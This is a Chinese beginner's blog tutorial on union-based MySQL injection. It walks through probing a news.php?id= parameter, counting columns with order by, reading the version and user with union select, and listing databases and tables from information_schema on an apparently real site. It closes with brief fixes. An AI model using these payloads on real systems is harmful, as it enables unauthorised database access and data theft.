简单的关于mysql的一次注入

说的是没有任何过滤的情况下,
初衷是想写一篇新手能看得懂的sql注入教程
希望在可以没有任何基础的情况下理解(不建议做没有基础的人
大佬勿喷,当然有错误的地方欢迎指出

http://xss.com/news.php?id=58

这是域名

首先在请求php的时候把id=58的参数传过去

执行完结果返回到页面上

页面某些地方获取返回数据的某一列
显示到页面上

个人猜测sql语句类似如下
select * from news where id= ‘{这个里面是接受来的参数}’
当传入了58这个参数
sql语句变成了
select * from news where id=58
页面的内容是这样的
在这里插入图片描述那么我看到了有两个地方显示了数据
1.标题
2.内容
当我们请求php的时候返回了一个集合

php把集合的内容,页面的两个地方获取集合的xx列,两个地方获取了两列
然后翻译成html页面返回给浏览器
就变成了现在的样子
现在把id输入成-58
在这里插入图片描述
发现了没有任何信息返回
在数据库查询到了空的内容
返回的页面自然也就获取不到任何信息

此时我在id=-58后加上order by 5
sql语句的内容就变成了 select * from news where id=-58 order by 5
order by在mysql中是一个根据 第几列排序
对第五列进行排序
那么我order by 7会发现页面报了错
这说明news没有第七列
如果不理解的话请百度看一下order by的定义
我们现在知道了,当前服务端查询的表
字段有6列

我在id=-58后加上union select 1,2,3,4,5,6
为什么要这么写呢

因为php服务端上写的就是获取一个六行的集合
不管你多还是少都会报错

这样写就相当于
查出来了
六列一行的数据
1 2 3 4 5 6

此时sql语句变成了select * from news where id=-58 union select 1,2,3,4,5,6
union select 是联合查询
对定义不清楚的可以自行百度看一下
此时我看见页面出现了这样的内容
在这里插入图片描述这就印证了我上面的猜想

他在数据库查出来的信息

获取查出来集合的第4列,和第6列
分别显示在标题和内容上

先科普一下mysql中有几个系统函数
user()获取当前的用户
database()获取当前的数据库
version()获取当前的数据库版本
比如我在我的mysql上输入select version()
就查询到了一行一列的数据,上面显示了我的mysql的版本信息
那么我在id=-58后面加上union select 1,2,3,version(),5,user()
页面内容如下
在这里插入图片描述如果看到这里不理解请去查一下sql语句和php基础的显示一些数据在页面上的文章
我知道了数据库版本是5.6.39,当前的用户是******@localhost
然后我把url改成了
www.xss.com/news.php?id=58
在后面加了一个分号
这样数据库的查询就会报错
页面显示信息
Could not get data: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘�� ORDER BY id DESC’ at line 1
由此得知这是一个mysql数据库
版本又是5.6.39
那么有什么屌用呢
mysql5.0以上的版本有一个特性
就是每个数据库都默认自带了一个information_schema库
这个库有很多表,储存了一些系统的配置信息
这个数据库有那些数据库
有那些表
有那些列
在看以下内容前我建议新手先去百度了解一下多表联查
并且亲自装个mysql里面看看这些表里面的都是什么样子的
不然理解可能有点困难

下面是sql注入经常用到的表
information_schema.TABLES记录了mysql数据库中所有的数据表
information_schema.SCHEMATA记录了mysql数据库中所有的数据库信息
information_schema.COLUMNS记录了mysql数据库中所有的数据列信息

现在我把url写成xss.com/news.php?id=-58 union select 1,2,3,SCHEMA_NAME,5,6 from information_schema.SCHEMATA
结果如下
在这里插入图片描述我查出出来两行数据

php服务端把两行数据遍历到页面上,我现在得知了数据库表信息
第一个明显是自带的数据库
我打算进第二个数据库看看有什么表

我构造这样的url
news.php?id=-58union select 1,2,3,TABLE_NAME,5,6%20from information_schema.TABLES where TABLE_SCHEMA =“iagcc_central”–
结果如下
在这里插入图片描述并不打算继续深入

列名同理可以这样获取,然后查询的时候回显位置的列改成列名 from改成那个表就行了
顺便说一下如果他服务端没写遍历的话
你可以加limit 0,1
1,1
2,1
limit n,m
就是从结果集中第几行取几行的内容
这样也可以一行一行的看结果
修复办法
Php 过滤或者转义
Java使用预编译避免字符拼接
相信很多萌新都会懵逼 我现在为止也是个萌新,教不了你们什么高深的技术,只是会的一定教
有不会的欢迎加我qq交流讨论 顺便请教一下php如何在sql注入的时候增删改
如果能的话请告诉我 qq:3246275466(但是我绝对不是什么大佬,我还有很多要学习的东西,大佬觉着错误的地方欢迎提出

猜你喜欢

转载自blog.csdn.net/qq_30358641/article/details/87234598